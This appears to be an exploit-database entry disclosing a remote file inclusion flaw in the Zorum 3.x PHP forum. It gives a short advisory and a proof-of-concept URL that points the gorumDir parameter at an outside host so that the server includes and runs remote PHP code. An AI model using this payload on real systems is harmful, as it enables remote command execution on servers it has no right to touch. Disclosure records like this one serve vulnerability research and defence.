PHPOutsourcing Zorum 3.x - Remote File Inclusion Command Execution

Author: MGhz
type: webapps
platform: php
port: 
date_added: 2003-01-22 
date_updated: 2012-10-24 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/6669/info

It has been reported that Zorum may allow remote users to influence to location of PHP includes. Because of this, it is possible for a remote user to include an external arbitrary PHP script containing commands that may be carried out on the vulnerable host.

http://[target]/[forum_dir]/include.php?gorumDir=http://example.com/
-->
include http://example.com/group.php on remote server